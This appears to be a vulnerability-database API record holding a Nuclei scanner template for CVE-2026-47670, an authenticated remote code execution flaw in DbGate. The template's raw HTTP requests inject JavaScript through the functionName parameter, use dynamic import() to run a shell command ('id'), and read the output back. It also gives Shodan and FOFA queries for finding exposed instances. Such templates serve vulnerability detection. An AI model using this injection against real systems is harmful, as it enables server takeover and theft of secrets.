{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-47670/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-47670/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-47670/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-47670/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-47670/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-47670"},"sightings":{"href":"/api/v1/sightings/cve-2026-47670"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-47670.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-47670\n\ninfo:\n  name: DbGate - Remote Code Execution via Dynamic Import Bypass\n  author: theamanrawat\n  severity: critical\n  description: |\n    DbGate versions <= 7.1.8 are vulnerable to authenticated remote code execution via the POST /runners/load-reader endpoint. The functionName parameter is directly interpolated into a JavaScript code template without sanitization. The require=null mitigation is bypassed via dynamic import().\n  impact: |\n    An authenticated user can escalate from web UI access to a root OS shell, steal infrastructure secrets from /proc/1/environ, extract other users credentials, pivot to internal networks, and install persistent backdoors.\n  reference:\n    - https://github.com/dbgate/dbgate/security/advisories/GHSA-wm5r-5qp3-5vxf\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-47670\n    - https://github.com/advisories/GHSA-wm5r-5qp3-5vxf\n  classification:\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n    cvss-score: 9.4\n    cve-id: CVE-2026-47670\n    epss-score: 0.01757\n    epss-percentile: 0.78018\n    cwe-id: CWE-77\n  metadata:\n    max-request: 3\n    verified: true\n    shodan-query: http.title:\"DbGate\"\n    fofa-query: title=\"DbGate\"\n    vendor: dbgate\n    product: dbgate\n  tags: cve,cve2026,dbgate,rce,vuln,auth,vkev\n\nvariables:\n  canary: \"{{rand_text_alpha(8)}}\"\n  jslfile: \"/tmp/_dbg_{{rand_text_alpha(6)}}.jsonl\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        POST /auth/login HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"amoid\":\"logins\",\"login\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"accessToken\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: json\n        name: token\n        part: body\n        json:\n          - '.accessToken'\n        internal: true\n\n  - raw:\n      - |\n        POST /runners/load-reader HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"functionName\":\"csvReader\\nvar _f=await import('fs');var _c=await import('child_process');var _o=_c.execSync('id').toString().trim();_f.writeFileSync('{{jslfile}}',JSON.stringify({__isStreamHeader:true,columns:[{columnName:'out'}]})+String.fromCharCode(10)+JSON.stringify({out:'{{canary}}'+' '+_o})+String.fromCharCode(10));//\",\"props\":{}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 500'\n        internal: true\n\n  - raw:\n      - |\n        POST /jsldata/get-rows HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{token}}\n\n        {\"jslid\":\"file://{{jslfile}}\",\"offset\":0,\"limit\":100}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{canary}}\"\n\n      - type: word\n        part: body\n        words:\n          - \"uid=\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100c210f1601cf7f139a58b8c57c931b921c9b7c4792c98c9acb541494645659df9022044c8c28d78f7831cd230e95d512af17c78edfe8bf09ef6ccbbe6b1fafa65f4ed:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-47670"}